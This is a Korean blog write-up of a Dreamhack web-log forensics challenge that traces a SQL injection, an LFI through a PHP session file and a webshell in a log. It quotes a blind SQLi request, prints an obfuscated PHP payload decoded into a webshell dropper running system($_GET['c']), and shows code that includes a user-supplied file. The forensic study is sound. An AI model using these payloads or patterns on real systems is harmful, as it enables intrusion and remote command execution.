[Dreamhack] weblog-1

김성진·2022년 12월 31일
0

📒 Description

weblog를 분석하는 문제인 듯 하다.


📒 Level0

Q: 공격자에게 탈취된 admin 계정의 PW를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

PW를 확인하라고 한다. log 파일을 확인해보자. 중간에 응답코드 500으로, 1192바이트가 resp으로 온 것이 확인된다. 응답코드 200에 841바이트가 많은 것으로 보아 저 쿼리는 sqli에 성공한 쿼리라고 확인이 가능하겠다. 근데 내가 보고있는 부분은

172.17.0.1 - - [02/Jun/2020:09:49:06 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(TABLE_NAME,0x3a,COLUMN_NAME)%20from%20information_schema.columns%20where%20TABLE_SCHEMA=database()),%20100,1))=80,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

이런 느낌으로, TABLE_NAME과 COLUM_NAME을 보고있다. 좀 더 밑으로 내리면 username과 password를 확인하는 부분이 있다.

해당 부분부터 "500 1192"를 검색하여 확인해보자. 이렇게 ! 일일이 찾느라 힘들긴 했지만, 뭐 양이 많지는 않으니,,,,

pw = [97, 100, 109, 105, 110, 58, 84, 104, 49, 115, 95, 49, 115, 95, 65, 100, 109, 49, 110, 95, 80, 64, 83, 83, 44, 103, 117, 101, 115, 116, 58, 103, 117, 101, 115, 116]

for i in pw: print(chr(i), end='')

Level0은 풀었다.

admin:Th1s_1s_Adm1n_P@SS,guest:guest

난 위 전체가 password인 줄 알았는데 그건 아니넹 ㅎㅎ,,


📒 Level1

Q: 공격자가 config.php 코드를 추출하는데 사용한 페이로드를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

음 config.php를 어떻게 찾았으려나 ,,,?
그리 어렵지 않다. 맨 밑으로 내려보면 이 부분이 존재하는데 php wrapper를 사용하였다.


📒 Level2

Q: LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.

webshell 찾으라는 건가... 막상 webshell같은 경로들은 다 404에러가 발생해 있는데 /admin?page= ~~와 그 아래 부분만 200이다.(의심이 가는 부분 중에서)

%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E

해당 부분은 이렇게 이루어져 있다.이제 저 코드를 실행해보자. 뭔 지 알 수가 없다.. K의 format은 Y-M-D이기에 로그에 찍혀있는 날짜로 계산해보자. 찾았다. 기분이 너무 좋다.

file_put_contents/var/www/html/uploads/images.php<?php header("HTTP/1.1 404 Not Found");system($_GET["c"]);

/var/www/html/uploads/images.php를 입력했지만 틀렸다고 나온다.
문제가 무슨 소리인지 이해가지 않는다. 그래서 admin/index.php를 확인해봤다.
page로 파라미터는 넘어가지 않고, memo만 남기는 페이로드였다.

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Simple Board</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Simple Board</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/board.php">Board</a></li>
            <?php 
              include "../config.php";
              if(isset($_SESSION['username'])){
            ?>
            <li><a href="/logout.php">Logout</a></li>
            <?php
            }else{
            ?>
            <li><a href="/login.php">Login</a></li>
            <?php              
            }
            ?>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <ul>
    <?php
      if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
      if(isset($_GET['page'])){
        include $_GET['page'];
      }else{
    ?>
      <li><a href="./?page=users.php">User List</a></li>
      <li><a href="./?page=memo.php">Session Memo</a></li>
    <?php
      }
    ?>
    </ul></div> 
</body>
</html>

바로 다음 로그를 확인해보자.

172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

아래는 memp.php이다.

<a href="javascript:history.back(-1);">Back</a><br/><br/>
<?php
  if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }

  if(isset($_GET['memo'])){
    $_SESSION['memo'] = $_GET['memo'];
  }

  if(isset($_SESSION['memo'])){
    echo($_SESSION['memo']);
  }

?>

<form>
  <input type="hidden" name="page" value="memo.php">
  <div class="form-group">
    <label for="memo">memo</label>
    <input type="text" class="form-control" name="memo" id="memo" placeholder="memo">
  </div>
  <button type="submit" class="btn btn-default">Write</button>
</form>

memo에 입력된 값을 세션의 memo값에 저장한다.

그래서 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
이곳이 그 정답이 된다.


📒 Level3

Q: 생성된 웹쉘의 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.

이건 당연히 위에서 봤듯이
/var/www/html/uploads/images.php
가 될 것이다.


📒 Level4

Q: 생성된 웹쉘을 통해 가장 처음으로 실행된 명령어를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.

whoami를 가장 먼저 실행한다.


📒 All Solve

profile
Today I Learned

0개의 댓글